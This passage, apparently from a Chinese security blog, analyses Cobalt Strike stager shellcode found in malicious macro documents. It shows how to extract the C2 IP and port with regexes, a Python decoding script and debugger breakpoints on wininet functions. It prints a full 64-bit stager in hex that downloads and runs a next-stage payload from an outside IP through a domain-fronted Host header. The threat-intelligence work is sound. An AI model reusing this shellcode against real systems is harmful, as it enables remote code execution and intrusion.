对于IP一直位于ShellCode末尾“(E8A9FDFFFF(.+?)0000000001)”处,此处在宏代码中为末尾的“-3, -1, -1, 49, 53, 57, 46, 55, 53, 46, 49, 49, 54, 46, 49, 56, 0, 0, 0, 0, 1)”:
其他类型PayLoad
到此步时,PayLoad的汇编代码已经很明显了。对标题中的提取C2信息而言比较重要的可能是:
创建网络连接:
int connect(int sock,struct sockaddr *serv_addr,socklen_t addrlen);
void InternetConnectA(HINTERNET hInternet,LPCSTR lpszServerName, ——连接的ip或者主机名INTERNET_PORT nServerPort, ——连接的端口LPCSTR lpszUserName,LPCSTR lpszPassword,DWORD dwService,DWORD dwFlags,DWORD_PTR dwContext);
由于IP和Port会在一起PUSH,(或者其他类型ShellCode可能C2信息存放的位置不同)故找到两个连在一起的PUSH:
正则搜索方式为
68[0-9a-fA-F]{8}68[0-9a-fA-F]{8}54684C772607
将其PUSH的值转换为IP和Port:
import binasciiimport structarrayShellCode = []with open('[ShellCode.txt]', 'r') as f:for x in f:tmp = x.replace(' ', '').replace('_', '').strip().split(",")arrayShellCode += tmparrayShellCode = [int(y) for y in arrayShellCode if y]i = struct.pack("<{0}b".format(str(len(arrayShellCode))), *arrayShellCode)D2H = binascii.b2a_hex(i)print(D2H.decode().upper())import reIPandPort = re.findall(r"EB865D68([0-9a-fA-F]{8})68([0-9a-fA-F]{8})54", D2H.decode('utf-8'), re.IGNORECASE)[0]IP = IPandPort[1]Port = IPandPort[0]import socketaddr_long = int(IP, 16)print(socket.inet_ntoa(struct.pack("<L", addr_long)))
64位ShellCode
FC4883E4F0E8C8000000415141505251564831D265488B5260488B5218488B5220488B7250480FB74A4A4D31C94831C0AC3C617C022C2041C1C90D4101C1E2ED524151488B52208B423C4801D0668178180B0275728B80880000004885C074674801D0508B4818448B40204901D0E35648FFC9418B34884801D64D31C94831C0AC41C1C90D4101C138E075F14C034C24084539D175D858448B40244901D066418B0C48448B401C4901D0418B04884801D0415841585E595A41584159415A4883EC204152FFE05841595A488B12E94FFFFFFF5D6A0049BE77696E696E65740041564989E64C89F141BA4C772607FFD54831C94831D24D31C04D31C94150415041BA3A5679A7FFD5E9930000005A4889C141B8BB0100004D31C9415141516A03415141BA57899FC6FFD5EB795B4889C14831D24989D84D31C952680032C884525241BAEB552E3BFFD54889C64883C3506A0A5F4889F1BA1F0000006A0068803300004989E041B90400000041BA75469E86FFD54889F14889DA49C7C0FFFFFFFF4D31C9525241BA2D06187BFFD585C00F859D01000048FFCF0F848C010000EBB3E9E4010000E882FFFFFF2F72616E645F6A736964636F64652E6373703F726E643D3236323337323700DFFB5814E0A3D0C88522A901A043CF53936F1CC9CE9D64195C57BA0D598FF9195CF4C62C6B24A2CF17C347DE275B552C00486F73743A207777772E77696E646F77737570646174652E636F6D0D0A436F6F6B69653A206C616E67756167653D656E5F55533B20454E41424C455F52414E44434F44453D313B20566973697454696D65733D303B20686176654C6F67696E3D303B2654574649443D376336653764346137363366303136380D0A4163636570743A202A2F2A0D0A496E7365637572652D52657175657374733A20310D0A557365722D4167656E743A204D6F7A696C6C612F342E302028636F6D70617469626C653B204D53494520372E303B2057696E646F7773204E5420352E313B202E4E455420434C5220322E302E3530373237290D0A00792EC7BF82E7D4661C627C4B55CB2AAAF58B4C6E16BDD59C7ECB5138B3A7227A05F9F886CC78140A77C6A8A77F116070F183FB609E57797176F207FA0041BEF0B5A256FFD54831C9BA0000400041B80010000041B94000000041BA58A453E5FFD5489353534889E74889F14889DA41B8002000004989F941BA129689E2FFD54883C42085C074B6668B074801C385C075D758585848050600000050C3E87FFDFFFF32372E3232312E35342E3232380001000000AB
内存显示如下:
这是一个采用域前置方式下载下一阶段Payload的ShellCode。可见字符串部分分别是接口,HTTP头部的配置,和连接的IP。
如对网络函数或者其他还没加载的函数下断,得在加载Dll的函数后停下(或者断LoadLibraryA也行),再下断:
找的办法是:
- 一般在ShellCode in ASM显示状态里的第一个Call寄存器
- 找数字
2.1 74656E696E6977 = teniniw,winninet的小端序数字
2.2 726774C = hash(“kernel32.dll!LoadLibraryA”)
加载后就可以下断了:
网络函数和VirtualAlloc
- InternetOpenA,没有特别需要注意的地方;
- InternetConnectA,这里会传IP和Port。在“InternetConnectA”下断也行,看汇编代码也行:
2.1 IP在pop的寄存器里
2.2 Port在汇编代码里(443=Hex(1BB))
- HttpOpenRequestA,这个函数有个参数是“lpszObjectName”,就是目标地址(接口)。也是通过pop寄存器传参:

- InternetSetOptionA,设置Internet选项,一般意义不大,除了域前置等用途外没有查看的意义;
- HttpSendRequestA,发送请求;
- VirtualAlloc,申请内存。内存窗口跟踪此内存地址;
InternetReadFile,读取网络句柄返回的数据,此数据会被保存到VirtualAlloc申请的内存中:

如果能从句柄中读取到Payload数据,则可以执行。总结
那么回归到最初的目的,批量自动化提取包含恶意宏代码钓鱼文档的IP和Port。
通过宏代码或其他方式,找到某类带有恶意宏代码的文档
- 自动提取宏代码中的PayLoad
- 转换PayLoad代码为十六进制
- 尝试使用提取工具
- 无法自动提取就手动正则匹配C2信息存放位置
- 以上文提到的ShellCode类型为例。提取
/68[0-9a-fA-F]{8}68[0-9a-fA-F]{8}54684C772607/中的两个[0-9a-fA-F]{8}值 - 分别将
[0-9a-fA-F]{8}转换为(inet_ntoa)IP和(?)Port - 或者使用
🙇🏻♀️致谢🙇🏻♀️
感谢杰哥帮忙写的Python脚本,之前的工作只需要逆向,几年没写代码了(本来就没写过多久🤦🏻♀️),作为IT人实在是惭愧。
像遇到HW这种活动时,需要批量提IP的情况,不可能人工去一个个分析提取,求助于大哥后顺利完成全自动提取,省下了很多时间可以做更有意义的事,感恩!🙇🏻♀️🙇🏻♀️🙇🏻♀️😂有超级豪华轮子了😂
后来有人写了提取的脚本Avast - payload_tools和Sentinel-One - CobaltStrikeParser
CobaltStrike - Beacon / PayLoad配置提取工具
